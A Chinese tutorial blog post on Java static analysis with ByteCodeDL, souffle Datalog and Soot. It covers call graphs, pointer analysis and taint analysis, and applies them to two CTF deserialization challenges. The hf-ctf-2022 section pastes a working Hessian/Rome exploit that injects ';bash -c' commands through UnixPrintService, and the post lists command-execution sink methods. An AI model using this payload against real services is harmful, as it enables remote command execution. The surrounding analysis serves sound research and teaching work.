静态分析实战之 ByteCodeDL 篇

文章发布时间:

2023-04-08

最后更新时间:

2023-04-08

静态分析实战之 ByteCodeDL 篇

写在前面

看了那么多篇 paper ，最终还是要回归到代码上，从几个开源项目练手

Pre. 前置知识

先来回顾一下 datalog 的静态分析模型吧：

souffle 引擎的入门以及规则参考：

ByteCodeQL 规则和语法参考：

https://github.com/BytecodeDL/ByteCodeDL/tree/main/docs

简单来说，souffle 的作用就是根据已有的 facts (EDB) 和预设值的规则 (dl文件) 遍历产生新的 facts

1	`souffle -F. -D. example.dl`

其中， -F 指定了facts所在的目录，而 -D 制定了输出目录， example.dl 为datalog文件

因此我们还需要辅助生成 facts 的工具：soot-fact-generator

常用命令：

# 如果不使用--facts-subset，soot只会加载-i指定的class；使用了--facts-subset，则生成的fact就会根据--facts-subset的值来选择性生成
java -Dfile.encoding=UTF-8 -Xmx32G -jar soot-fact-generator.jar -i classbean.jar -l ./rt.jar --full -d out_dir --allow-phantom --generate-jimple --facts-subset APP --ignore-wrong-staticness --debug

# 如果想使用当前java环境下的rt.jar/jce.jar/jsse.jar，可以直接使用-lsystem选项代替-l ./rt.jar；
--ssa就是生成SSA格式的IR，但是速度会很慢，并且很可能会因内存溢出而程序崩溃；
java -Dfile.encoding=UTF-8 -Xmx32G -XX:-UseGCOverheadLimit -jar soot-fact-generator.jar -i classbean.jar -i classes.jar -lsystem --full -d out_dir --allow-phantom --generate-jimple --facts-subset APP --ignore-wrong-staticness --ssa --lowMem --debug

# 禁用GC开销检查，如果使用--ssa选项，可以开启这个选项
-XX:-UseGCOverheadLimit

--application-regex 设置Class过滤规则，可以设置固定的ClassName，也可以设置ClassName全限定名的前缀、包前缀；例如：java.lang.String.class/java.lang.*/java.lang.St.**/**，如果设置了**，则代表所有ClassName都可以通过；
-idir 批量添加指定目录下的jar文件，也就是批量指定-i选项；

--facts-subset 共三个可选项：APP、APP_N_DEPS、PLATFORM，如果不指定，则soot只会加载-i指定的jar包中的class；APP选项soot会加载-i和-l指定的；APP_N_DEPS选项soot会加载-i、-l和-ld指定的；PLATFORM选项soot会加载-l指定的；但是最后soot生成的fact范围，是遵从选项的字面意思的；

--also-resolve 这个选项也很重要，相当于soot.Scene#addBasicClass(extraClass, SootClass.BODIES),如果有一些class无法被soot分析，可以把他加入到基本类中；

--allow-phantom 是否支持Java中的幻象引用；

--ignore-wrong-staticness 是否忽略fact创建过程中的 wrong static-ness 错误；

tips： soot-fact-generator在macos上运行时，如果 jar 包中存在 XML 文件可能会卡死，这应该是 rt.jar 中 XML 解析的 bug，暂未发现具体原因。

查看 facts 文件可以看到每个函数的相关信息，以 \t 分隔。同时还记录了 method call 的行号

0. 内置谓词的利用 —— 查找特定条件的类

前置

Jimple 中的表示
souffle 提供的谓词

https://souffle-lang.github.io/constraints
1. contains(string1, string2)
  
  is used to check if the latter string contains the former string
2. match("a.*",x)
  
  is used to check if the latter string matches a wildcard pattern specified in the former string

需求 exp

我只想找有两个构造参数的类，其中一个传入的还得是数组参数

MethodInfo(method:Method, simplename:symbol, param:symbol, class:Class, return:Class, jvmDescriptor:symbol, arity:number)

构建规则：

方法为构造函数，simplename = <init>
构造参数有两个，arity = 2
参数类型为数组， contains("[]", param)

#include "inputDeclaration.dl"

.decl QueryResult(class:Class, method:Method)
.output QueryResult

QueryResult(class, method) :- 
	MethodInfo(method, simplename, param, class, _, _, arity), 
	simplename = "<init>", 
	contains("[]", param), 
	arity = 2.

test

1	`souffle -F ../../../example/out/ -D . query_test.dl`

结果如下：

1. 实现「Class Hierarchy」

需要构建一个类型层次图，用于寻找某个类的子类、父类，或者用于判断两个类之间是否有继承关系

理论部分
- dispatch 方法
- Resolve 方法构建类继承结构
facts 结构

其中 DirectSuperclass.facts 中提供了类的直接继承关系

同理，DirectSuperinterface.facts 中提供了类的直接接口实现关系

规则构建

类继承关系的推理规则

如果满足class x 和 y DirectSuperclass(x, y) 或者DirectSuperinterface(x, y) 那么 x , y 也一定满足 SubClass(x, y)

还需要利用递推，判断非直接的层次关系。如果x 和 z 满足SubClass(x, z) 且 z 和 y 满足 DirectSuperclass(z, y) 或者DirectSuperinterface(z, y) 那么能够推导出 SubClass(x, y)

.type Class <: symbol // 类

.decl ClassModifier(mod:symbol, class:Class) // 类的修饰符
.input ClassModifier

.decl ClassType(class:Class) // 是否是非接口类
.input ClassType

.decl InterfaceType(interface:Class) // 是否是 interface
.input InterfaceType

.decl DirectSuperclass(child:Class, parent:Class)
.input DirectSuperclass

.decl DirectSuperinterface(child:Class, parent:Class)
.input DirectSuperinterface

.decl SubClass(subclass:Class, class:Class) 
.output SubClass

// rules
SubClass(subclass, class) :- DirectSuperclass(subclass, class).
SubClass(subclass, class) :- DirectSuperinterface(subclass, class).
SubClass(subclass, class) :- 
	(
		DirectSuperclass(subclass, tmp);
		DirectSuperinterface(subclass, tmp)

	), 
	SubClass(tmp, class).

结果如下：

dispatch 方法的规则解析：

如果rclass中有实现方法method.sig == sig 且method没有被abstract修饰，则直接返回method

如果rclass没有对应的方法实现，则需要去父类中寻找相同函数签名的方法

Dispatch(simplename, descriptor, class, method) :-
    MethodInfo(method, simplename, _, class, _, descriptor, _),
    !MethodModifier("abstract", method).
// 对应 rule 1
Dispatch(simplename, descriptor, class, method) :-
    !MethodInfo(_, simplename, _, class, _, descriptor, _),
    DirectSuperclass(class, superclass),
    Dispatch(simplename, descriptor, superclass, method),
    !MethodModifier("abstract", method).
  // 对应 rule 2

构建 CHA 调用图

理论部分

规则构建：

定义 EntryPoint(simplename:symbol, descriptor:symbol, class:Class)为入口函数
把能够调用到的方法加入到 Reachable(method:Method, step:number) 这里限制了调用步数
调用关系加入到 CallGraph(insn:Insn, caller:Method, callee:Method)

// 先根据Etrypoint解析出具体的method，加入Reachable
Reachable(method, 0) :- 
    EntryPoint(simplename, descriptor, class),
    Dispatch(simplename, descriptor, class, method).

// special callee可以直接确定，所以可以直接加入到CallGraph
Reachable(callee, n+1),
CallGraph(insn, caller, callee) :-
    // 如果caller能够调用到
    Reachable(caller, n),
    // 并且caller调用步数未超过最大步数
    n < MAXSTEP,
    // 且caller 调用了 callee ，那么这些条件可以推到出callee也能访问到，且步数为n+1 调用图中caller和callee有条边
    SpecialMethodInvocation(insn, _, callee, _, caller).
// 同上
Reachable(callee, n+1),
CallGraph(insn, caller, callee) :-
    Reachable(caller, n),
    n < MAXSTEP,
    StaticMethodInvocation(insn, _, callee, caller).
Reachable(callee, n+1),
CallGraph(insn, caller, callee) :-
    Reachable(caller, n),
    n < MAXSTEP,
    // caller 中调用了 receiver.method() 需要根据receiver的声明类型解析
    VirtualMethodInvocation(insn, _, method, receiver, caller),
    // 找到method 对应的方法签名也就是simplename和descriptor
    MethodInfo(method, simplename, _, _, _, descriptor, _),
    // 找到receiver对应的声明类型
    VarType(receiver, class),
    // 找到receiver 自身及其所有的子类
    SubEqClass(subeqclass, class),
    // 排除被abstract修饰的类
    !ClassModifier("abstract", subeqclass),
    // 根据方法签名和类型解析出真正的被调函数callee
    Dispatch(simplename, descriptor, subeqclass, callee).

test

作者给出的根据 CHA 构建的调用图代码以及 RTA构建的调用图代码

编写查询测试 dl

#define MAXSTEP 8

#include "cha.dl"

// init entrypoint 
EntryPoint(simplename, descriptor, class) :- 
	MethodInfo(_, simplename, _, class, _, descriptor, _),
	simplename = "main", 
	descriptor = "([Ljava/lang/String;)V".

结果如下：
可视化处理

作者提供了 bash 脚本可以方便的运行 neo4j 服务，并将生成的 csv 结果导入当中
1
2
bash importOutput2Neo4j.sh neoImportCall.sh dbname neo4j / bytecodedl

2. CHA 优化

优化的思路实际是从 sink 点反向探索，删除掉所有不可达 sink 点的节点

规则定制：

引入新的 predicate:

SinkReachable(method:Method, sink:Method, step:number) 表示 method 经过 step 步能调用到 sink

根据 CallGraph(insn, caller, callee) 即可剪枝

// 初始化 sink 到 sink 为 0
SinkReachable(sink, sink, 0) :-
    SinkMethod(sink).

// 如果caller 调用 了 callee
// 且 callee n 步到 sink
// 那么能够推导出 caller n+1 步 能到 sink
SinkReachable(caller, sink, n+1) :-
    n < MAXSTEP,
    SinkReachable(callee, sink, n), 
    CallGraph(_, caller, callee).

进一步，寻找最短路径，这里实际是遍历的方式

ShortestPathToSink(entry, sink, n) :-
    n = min step : {SinkReachable(entry, sink, step)},
    SinkMethod(sink),
    EntryMethod(entry).

进一步可以递推 callee 的最小路径

// 如果caller 到 sink 最短距离 为 n
// 且 calle 到 sink 的距离为 n-1
// 且 caller 调用 callee
// 那么可以推导出 callee 到 sink 的 最短距离为 n-1
ShortestPathToSink(callee, sink, n-1) :-
    n < MAXSTEP + 1,
    ShortestPathToSink(caller, sink, n),
    SinkReachable(callee, sink, n-1),
    CallGraph(_, caller, callee).

使用时，通过宏定义的方式来指定优化级别
1. #define CHAO 1 返回的是所有能到sink的节点
2. #define CHAO 2 返回的是entry到sink最短路径上的节点
3. 如果没有 CHAO 宏定义则返回的是entry 在 MAXSTEP之内能到达的所有节点
PS： 这里优化最短路径的目的主要在于导入图数据库当中当查询步数过大时引起时间开销的问题，因此先引入最短路径，减少节点数量和环的出现，来临时解决问题。但是这种方案一定会到只函数调用图中漏报情况出现；与之对比，tabby 在导入图数据库时用的是建立索引作优化，空间换时间

3. CHA 应用

0x1. `buggyLoader 0ctf-2021-final`

先给出这道题的背景：环境中存在 shiro-1.2.4 的依赖，并且配置文件中给出了 AES 密钥，因此允许我们构造任意序列化数据。但是这里的限制在于，环境中关于反序列化 chain 的依赖只给了 commons-collection:3.2.1 并且加上 shiro 利用的自定义类加载机制：ClassLoader.loadClass() 无法加载数组类型的 class，断绝了绝大多数的反序列化利用类。

加上环境不出网，无法利用 JNDI 等一系列出网服务。所以思路转变为寻找一种二次反序列化入口点，来将最终的反序列化 gadget 转移到原生 readObject() 中

思路：重新找个能够造成危害的public 无参函数：可以直接执行命令/代码或者能够二次反序列化

复现前准备

抽离出 jar 包中的所有 facts

1	`java -jar soot-fact-generator.jar -i buggyloader.jar -lsystem --generate-jimple --allow-phantom --full -d ../example/out1`

规则编写

寻找所有的无参数公有函数（非构造函数且所在类可序列化）

#include "logic/inputDeclaration.dl"
#include "logic/utils.dl"

.decl NonParamPublicMethod(method:Method, class:Class)
.output NonParamPublicMethod

NonParamPublicMethod(method, class) :-
	MethodInfo(method, simplename, _, class, _, _, arity), 
	// public 修饰
	MethodModifier("public", method), 
	// 排除构造函数
	simplename != "<init>", 
	// 参数为 0
	arity = 0, 
	// 类实现了序列化接口
	SubClass(class, "java.io.Serializable").

运行可以看到满足条件的函数大概有 10264 个

利用 CHA 调用图，筛选出可达 sink 点的函数

这里限制 gadget 长度在 5 步之内

#define MAXSTEP 5
#define CHAO 2

#include "logic/cha.dl"

.decl FinalMethod(method:Method, class:Class)
.output FinalMethod

// 常见 sink 点
SinkDesc("exec", "java.lang.Runtime").
SinkDesc("<init>", "java.lang.ProcessBuilder").
SinkDesc("start", "java.lang.ProcessImpl").
SinkDesc("loadClass", "java.lang.ClassLoader").
SinkDesc("defineClass", "java.lang.ClassLoader").
SinkDesc("readObject", "java.io.ObjectInputStream").
SinkDesc("readExternal", "java.io.ObjectInputStream").

// 前面的 public 方法就加入到 cha 的入口函数当中
EntryMethod(method),
Reachable(method, 0),
FinalMethod(method, class) :-
	MethodInfo(method, simplename, _, class, _, _, arity), 
	// public 修饰
	MethodModifier("public", method), 
	// 排除构造函数
	simplename != "<init>", 
	// 参数为 0
	arity = 0, 
	// 类实现了序列化接口
	SubClass(class, "java.io.Serializable"). 

.output SinkMethod

感觉也没加什么，就是配置了一下 sink 函数以及刚才的入口函数。通过 CHA 算法将调用图限制在 5 步之内

图数据库查询

筛选出两步调用的
1
MATCH p=(e:entry)-[*1..2]->(s:sink) where s.method contains "readObject" RETURN p
这里存在数组属性的限制

增加调用链到 4 步，这里直接将 entry 设置为 javax.management.remote.rmi.RMIConnector
1
MATCH p=(e:entry)-[*4]->(s:sink) where s.method contains "readObject" and ID(e)=42247 unwind nodes(p) as n return n.method
可以看到最后调用确实可以

入口点用 InvokerTransformer 反射调用接上即可

readOjbect -> ... -> InvokerTransformer -> RMIConnector#connect() -> .. -> readObject -> 传统的 CC 链

0x2. ezchain hf-ctf-2022

题目背景是 Hessian 反序列化，不出网，给了基本的 Rome 依赖。无法利用传统的 Rome 反序列化配合 JNDI 注入。需要寻找新的二次反序列化或者可直接执行代码/命令的无参 getter 函数

规则编写

找 getter 方法即可，注意因为 Hessian 的 SerializerFactory#setAllowNonSerializable 方法支持反序列化未实现 Serializable 接口的实例，因此无实现接口限制

EntryMethod(method),
Reachable(method, 0),
FinalMethod(method, class) :-
	MethodInfo(method, simplename, _, class, _, _, arity), 
	// public 修饰
	MethodModifier("public", method), 
	// getter 方法
	contains("get", simplename), 
	// 参数为 0
	arity = 0.

测试

生成 fact

java -jar soot-fact-generator.jar -i /Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home/jre/lib/rt.jar -l /Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home/jre/lib/rt.jar  --generate-jimple --allow-phantom --full -d ../example/ezchain

执行规则查询生成 csv
1
souffle -F ezchain/ -D . gadget.dl
验证一下确实出了

导入 neo4j 当中方便查询

1 2	`bash importOutput2Neo4j.sh neoImportCall.sh dbname neo4j / bytecodedl`

exp 这里就直接粘一个

public class Main {
    public static void main(String[] args) throws Exception{
        System.out.println("HFCTF2022".hashCode());
        s = ":Y1\"nOJF-6A'>|r-";
        System.out.println(s.hashCode());

        String cmd = args[0];
        String path = args[1];

        FileOutputStream outputStream = new FileOutputStream(path);
        Hessian2Output out = new Hessian2Output(outputStream);
        SerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Object unix = unsafe.allocateInstance(UnixPrintService.class);
        setFieldValue(unix, "printer", String.format(";bash -c '%s';", cmd));
        setFieldValue(unix, "lpcStatusCom", new String[]{"ls", "ls", "ls"});
        ToStringBean toStringBean = new ToStringBean(Class.forName("sun.print.UnixPrintService"), unix);
        EqualsBean hashCodeTrigger = new EqualsBean(ToStringBean.class, toStringBean);

        out.writeMapBegin("java.util.HashMap");
        out.writeObject(hashCodeTrigger);
        out.writeObject("value");
        out.writeMapEnd();
        out.close();
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = clazz.getDeclaredField(field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {

        /**
         * {@inheritDoc}
         *
         * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
         */
        @Override
        public Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }


        /**
         * {@inheritDoc}
         *
         * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
         */
        @Override
        public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);

            if ( serializer instanceof WriteReplaceSerializer) {
                return UnsafeSerializer.create(cl);
            }
            return serializer;
        }
    }
}

4. 上下文无关指针分析

由于Java多态的特性，不能仅根据声明类型解析函数调用，需要根据变量实际运行时的类型解析，通过指针分析可以得到变量在运行时指向的对象，进而可以得到对象的类型，然后根据类型即可解析出正确的被调函数，从而得到相对准确的函数调用图

理论部分

前置知识链接：

[1] https://ranger-nju.gitbook.io/static-program-analysis-book/ch3/pointer-analysis/03-03-pointer3-analysis-spa#rule-for-call

[2] https://souffle-lang.github.io/components

[3] https://github.com/BytecodeDL/ByteCodeDL/blob/pt-noctx/docs/context-insensitive-points-to.md

算法 datalog 源码分析：

首先建立 EDB 和 IDB

// 表示 var 变量指向 heap 这个堆对象  
.decl VarPointsTo(heap:Heap, var:Var)
// 表示 baseHeap 这个对象的 field 字段 指向 heap 对象
  .decl InstanceFieldPointsTo(heap:Heap, baseHeap:Heap, field:Field)
// 表示静态 field 指向 heap 这个对象
  .decl StaticFieldPointsTo(heap:Heap, field:Field)
// 表示在 baseHeap 数组中，包含了 heap 对象
  .decl ArrayIndexPointsTo(heap:Heap, baseHeap:Heap)
// 表示在 insn 指令中, caller 调用了 callee
  .decl CallGraph(insn:Insn, caller:Method, callee:Method)
// 表示方法可以访问到
  .decl Reachable(method:Method)

根据图示可以找到 datalog 和指针分析规则对应的写法

处理 new 语句

// new
// 如果 method 方法可访问
// 且在method中，将创建好的 heap 对象赋值给了 var 变量
// 那么能够推导出 var 变量指向 heap 对象
VarPointsTo(heap, var) :-
        Reachable(method),
        AssignHeapAllocation(_, _, heap, var, method, _).

处理 Assign 语句

// assign
// 如果 method 方法可访问
// 且 form 变量 指向 heap 对象
// 且 在method中，将 from 变量赋值给了 to 即 to=form
// 那么能够推到出 to变量也指向 heap 对象
    VarPointsTo(heap, to) :- 
        Reachable(method),
        VarPointsTo(heap, from),
        AssignLocal(_, _, from, to, method).

处理 store 语句

这里分成静态和实例对象的 store 情况

实例对象 field 的 store 操作：

// store field
// 如果 method 方法可访问
// 且在 method 中，将 from 存到了变量 base 的field，也就是 base.field = from
// 且 from 指向 heap 对象
// 且 base 指向 baseHeap 对象
// 那么能够推到出 baseHeap 对象的 field 也指向 heap 对象
InstanceFieldPointsTo(heap, baseHeap, field) :-
        Reachable(method),
        StoreInstanceField(_, _, from, base, field, method),
        VarPointsTo(heap, from),
        VarPointsTo(baseHeap, base).

静态 field 的 store 操作

// store static field
// 如果 method 方法可访问
// 且在 method中，将 from 存入静态 field 即 T.field = from
// 且 from 指向 heap 对象
// 那么可以推到出 静态 field 指向 heap 对象
StaticFieldPointsTo(heap, field) :-
        Reachable(method),
        StoreStaticField(_, _, from, field, method),
        VarPointsTo(heap, from).

处理 load 语句

同样分成静态和实例对象的 load 情况：

实例对象 field 的 load 操作：

// load field
// 如果 method 方法可访问
// 且 在 method 中，将 base 变量的 field 取出赋值给了 to 也就是 to = base.field
// 且 base 指向 baseHeap 对象
// 且 baseHeap 对象的 field 指向 heap 对象
// 那么能够推到出 to 也指向 heap 对象
VarPointsTo(heap, to) :-
        Reachable(method),
        LoadInstanceField(_, _, to, base, field, method),
        VarPointsTo(baseHeap, base),
        InstanceFieldPointsTo(heap, baseHeap, field).

静态 field 的 load 操作

// load staic field
// 如果 method 方法可访问
// 且在 method 中，将静态 field 取出赋值给了 to 即 to = T.field
// 且 field 指向 heap 对象
// 那么可以推导出 to 也指向 heap 对象
VarPointsTo(heap, to) :-
        Reachable(method),
        LoadStaticField(_, _, to, field, method),
        StaticFieldPointsTo(heap, field).

类型转换

本质上和赋值操作的指针分析操作一致

// cast
// 如果 method 方法可访问
// 且 form 变量 指向 heap 对象
// 且 在 method 中，将 from 变量类型转换后赋值给了 to 即 to = (T)from
// 那么能够推到出 to 变量也指向 heap 对象
VarPointsTo(heap, to) :- 
        Reachable(method),
        AssignCast(_, _, from, to, _, method),
        VarPointsTo(heap, from).

数组的 load 和 store

由于分析选择的是数组下标不敏感，所以所有元素都视为 arr field 来看待

// load from array
// 如果 method 可访问
// 且 从 base 数组中取出元素到 to to = base[i]
// 且 base 指向 baseHeap 数组对象
// 且 baseHeap 数组对象中 包含 heap 对象
// 那么 to 可能指向 heap 
// 这里的实现未区分取第几个索引
VarPointsTo(heap, to) :-
        Reachable(method),
        LoadArrayIndex(_, _, to, base, method),
        VarPointsTo(baseHeap, base),
        ArrayIndexPointsTo(heap, baseHeap).

// store into array
// 如果 method 可访问
// 将 from 存到 base 数组中 即 base[i] = from
// from 指向 heap 对象 
// base 指向 baseHeap 数组对象
// 那么能推导出 baseHeap 数组对象 包含 heap 对象
ArrayIndexPointsTo(heap, baseHeap) :-
        Reachable(method),
        StoreArrayIndex(_, _, from, base, method),
        VarPointsTo(heap, from),
        VarPointsTo(baseHeap, base).

处理函数调用 call 部分

首先对于 special 和 static 类的函数调用，由于 receiver type 已知，因此和 CHA 算法处理一致

// 下面开始涉及到过程间的指针分析
// 先构造调用图
// Special 和 Static 和 CHA 处理方式一样，编译时callee 就确定，不需要再进行解析
Reachable(callee),
CallGraph(insn, caller, callee) :- 
        Reachable(caller),
        SpecialMethodInvocation(insn, _, callee, _, caller).
    
Reachable(callee),
CallGraph(insn, caller, callee) :- 
        Reachable(caller),
        StaticMethodInvocation(insn, _, callee, caller).

 <img src="静态分析实战 之 ByteCodeDL 篇/image-20230403235833247.png" alt="image-20230403235833247" style="zoom:50%;" />

 对于 virtual 方法调用

 <img src="静态分析实战 之 ByteCodeDL 篇/image-20230404001509332.png" alt="image-20230404001509332" style="zoom:50%;" />

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Virtual Call 需要根据 base 指向 对象 的类型 进行 dispatch
// caller 要可达
// 在caller 中 virtual call 了 method
// 调用时 base 指向 baseHeap 对象
// baseHeap 对象的类型 为 class
// 根据method 解析出 被调函数的签名
// 通过 函数签名 和 实际类型 解析出真正的被调函数callee
Reachable(callee),
CallGraph(insn, caller, callee) :- 
        Reachable(caller),
        VirtualMethodInvocation(insn, _, method, base, caller),
        VarPointsTo(baseHeap, base),
        NormalHeap(baseHeap, class),
        MethodInfo(method, simplename, _, _, _, descriptor, _),
        Dispatch(simplename, descriptor, class, callee).


 接下来传递参数 形参 => 实参

 <img src="静态分析实战 之 ByteCodeDL 篇/image-20230404001732250.png" alt="image-20230404001732250" style="zoom:50%;" />

 1
2
3
4
5
6
7
8
9
10
11
// param
// 调用图中存在调用 insn
// 调用时第 n 个实际参数传的是 变量 arg
// 被调函数 callee 的 第 n 个 形式参数是 param
// 如果 arg 指向了 heap 对象
// 那么 param 也指向 heap 对象
VarPointsTo(heap, param) :- 
        CallGraph(insn, _, callee),
        ActualParam(n, insn, arg),
        FormalParam(n, callee, param),
        VarPointsTo(heap, arg).


 然后是返回值的传递

 <img src="静态分析实战 之 ByteCodeDL 篇/image-20230404143728718.png" alt="image-20230404143728718" style="zoom:50%;" />

 1
2
3
4
5
6
7
8
9
10
11
// return
// 调用图中存在调用 insn
// 如果 在callee中，返回语句返回的是var变量
// 调用后的返回值赋值给了return变量
// var 变量 指向 heap 对象
// 那么 return 也指向 heap 对象
VarPointsTo(heap, return) :- 
        CallGraph(insn, _, callee),
        Return(_, _, var, callee),
        AssignReturnValue(insn, return),
        VarPointsTo(heap, var).


 最后不要忘了 this 变量对象的传递

 1
2
3
4
5
6
7
8
9
10
11
12
// this
// 调用图中存在调用 insn
// 调用时 base 指向 heap
// 那么调用时 callee 的 this 变量 也指向 heap 对象
VarPointsTo(heap, this) :- 
        CallGraph(insn, _, callee),
        (
            VirtualMethodInvocation(insn, _, _, base, _);
            SpecialMethodInvocation(insn, _, _, base, _)
        ),
        ThisVar(callee, this),
        VarPointsTo(heap, base).

为了避免命名冲突，这里用 .comp {} 将上述定义的规则谓词封装成元素

应用

提取 facts

java -jar soot-fact-generator.jar -i Benchmark-1.0-SNAPSHOT.jar --full -l /Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home/jre/lib/rt.jar -d ../example/pt_free_test --allow-phantom --generate-jimple --facts-subset APP

编写测试程序

#include "logic/inputDeclaration.dl"
#include "logic/utils.dl"
#include "logic/pt-noctx.dl"

// 实例化 component
.init cipt = ContextInsensitivePt

// 初始化调用图入口
cipt.Reachable(method) :- 
	MethodInfo(method, simplename, _, _, _, descriptor, _), 
	simplename = "main", 
	descriptor = "([Ljava/lang/String;)V".

.output cipt.VarPointsTo

这里就是设置一下方法入口点为所有 main 函数

souffle 并输出
1
souffle -F pt_free_test/ -D . pt_con_free.dl
从结果中可以看到指针分析的指向结果（格式：），例如 VirtualCallDemo1 类 main 函数中，在 0行首先有个初始化 VirtualCallDemo2 的操作，并将堆对象赋给了 vall2 参数（这里还标记了第6行）；

其次第 9 行的 source 变量指向了 source 字面量
扩展
- https://github.com/souffle-lang/java-pts
- doop

5. pta/ptaint Analysis

前置知识

[1] https://racerz-fighting.github.io/2023/02/04/PTaint%20Unified%20Points-to%20and%20Taint%20Analysis%20%E7%B2%BE%E8%AF%BB/

[2] 南大-污点分析部分

[3] https://www.youtube.com/watch?v=IA08d-kiCy8

p/taint 论文的思想在于将指针分析和污点分析相统一，这里的统一并不是将污点数据在传统的抽象对象上打标记，而是作为独立的对象放入到抽象对象集中根据污点分析算法在 PFG 上传播
理论部分

基本上和前面实现污点分析时的代码区别不大，细节在于需要注意污点对象的生成的处理（因为污点对象本身不受类型转换的影响，但是随遇一些 SanitizationMethod 会被过滤）

预定义谓词

// 污点分析相关的新relation
// 表示通过insn指令，创建的新的污点对象heap，包括污点源的生成，以及污点转移时的生成
.decl TaintHeap(insn:Insn, heap:Heap)
// 表示调用指令insn发生时，危险函数的参数指向了污点对象heap
.decl Leak(insn:Insn, heap:Heap)
// 表示source函数，其返回值表示污点源
.decl SourceMethod(method:Method)
// 表示sink函数，其第n个实际参数如果指向污点对象，则表示可能存在安全风险
.decl SinkMethod(method:Method, n:number)
// 表示sanitize函数，经过其处理的污点，将不再是污点，也就是说污点无法通过sanitize传播，是在实际参数向形式参数传播时阻断的
.decl SanitizeMethod(method:Method)
// 表示sanitize函数的形式参数
.decl SanitizeMethodParam(var:Var)
// 筛选出sanitize函数的形式参数
SanitizeMethodParam(var) :-
    FormalParam(_, method, var),
    SanitizeMethod(method).

// 污点转移相关的
// base 是 污点 返回值也是污点
.decl BaseToRetTransfer(method:Method)
// 参数是污点返回也是污点
.decl ArgToRetTransfer(method:Method, n:number)
// 将上面两个合并成一个，或者将污点转移抽象成from变量污染了to变量
.decl IsTaintedFrom(insn:Insn, from:Var, to:Var)
// heap 对象 污染了 newHeap对象
.decl TransferTaint(heap:Heap, newHeap:Heap)

那么就重点看下污点对象生成的规则：第一个规则是对 source 函数的处理，其将会产生污点对象。其中 cat 函数可以枚举所有符合条件的 insn 并和字符串拼接，标识这是一个污点对象；第二个规则是判断 Sink 点

// 污点对象的生成
TaintHeap(insn, heap),
VarPointsTo(heap, to) :-
    SourceMethod(callee),
    CallGraph(insn, _, callee),
    AssignReturnValue(insn, to),
    heap = cat("NewTainted::", insn).
// 判断sink函数的参数是否指向污点对象
Leak(insn, heap) :-
    CallGraph(insn, _, callee),
    SinkMethod(callee, n),
    ActualParam(n, insn, arg),
    VarPointsTo(heap, arg),
    TaintHeap(_, heap).

接下来是污点传播：论文中给出了 base -> ret 以及 arg -> ret 的两种描述规则

// base -> ret
    IsTaintedFrom(insn, base, ret) :-
        CallGraph(insn, _, callee),
        BaseToRetTransfer(callee),
        VirtualMethodInvocation(insn, _, _, base, _),
        AssignReturnValue(insn, ret).
// arg -> ret
    IsTaintedFrom(insn, arg, ret) :-
        CallGraph(insn, _, callee),
        ArgToRetTransfer(callee, n),
        ActualParam(n, insn, arg),
        AssignReturnValue(insn, ret).

进一步，将上述两个污点传播合并为一个污点转移规则。注意这里实际做了一个后向传播的设计，即所有和 to 一样指向 oldHeap 的变量，由于 to 被污染导致指向了一个新的污点对象 newHeap ，那么根据指针传播规则，其余的变量也要同样指向 newHeap ，也就是一并污染

来自 chatGPT 的解释：

简单来说，当一个污点值作为参数流向一个变换函数时，第三个规则会在任何分配和首次赋值堆对象的点上创建一个新的污点值，只要这些对象最终会流向函数的返回变量。这样做的好处在于，可以充分利用程序中的信息，准确地跟踪污点值的流动，并将其限制在可能被利用的路径上。这种技术可以提高静态分析的精度和可靠性，从而更好地检测程序中的漏洞和安全问题。

// 污点转移
  // from 指向了污点对象heap
  // 且from能污染to
  // 那么to也是污点对象，也要指向一个污点对象
  // 这里没有直接让to指向新创建的污点对象
  // 而是先找到to指向的正常对象oldHeap，oldHeap第一个流向的指针var，然后让newHeap也流向指针var，即var指向newHeap
  // 由于oldHeap流向var之后，通过PFG可以流到to，那么newHeap也能流到to，这样也把和var alias的指针一并污染了
  TaintHeap(insn, newHeap),
  TransferTaint(heap, newHeap),
  VarPointsTo(newHeap, var) :- 
      IsTaintedFrom(insn, from, to),
      VarPointsTo(heap, from),
      TaintHeap(_, heap),
      // 污点转移函数构建新的污点对象
      newHeap = cat("TransferTaint::", insn),
      VarPointsTo(oldHeap, to),
      AssignHeapAllocation(_, _, oldHeap, var, _, _).

6. Demo 复现

Benchmark-TaintDemo3

public class TaintDemo3 {
    public static void main(String[] args) {
        TaintDemo3 demo = new TaintDemo3();
        String name = demo.Source();
        demo.test1(name);
    }

    public void test1(String name){
        String sql0= "select * from user where name='" + name + "'";
        String sql1 = sql0;
        String sql = Sanitize(sql1);
        Sink(sql);
    }

    public void Sink(String param){

    }

    public String Sanitize(String param){
        String ret = param.replace('\'', '`');
        return ret;
    }

    public String Source(){
        return "tainted name";
    }
}

之前已经生成过 facts 集，所以这里直接编写污点传播规则

#include "logic/ptaint.dl"
#include "logic/inputDeclaration.dl"
#include "logic/utils.dl"

.init ptaint = PTaint

// 配置入口
ptaint.Reachable("<com.bytecodedl.benchmark.demo.TaintDemo3: void main(java.lang.String[] args)>").

// 配置 source
ptaint.SourceMethod("<com.bytecodedl.benchmark.demo.TaintDemo3: java.lang.String Source()>").

// 配置 sink
ptaint.SinkMethod("<com.bytecodedl.benchmark.demo.TaintDemo3: void Sink(java.lang.String)>", 0).

// 配置污点转移函数
ptaint.BaseToRetTransfer("<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>").
ptaint.BaseToRetTransfer("<java.lang.StringBuilder: java.lang.String toString()>").

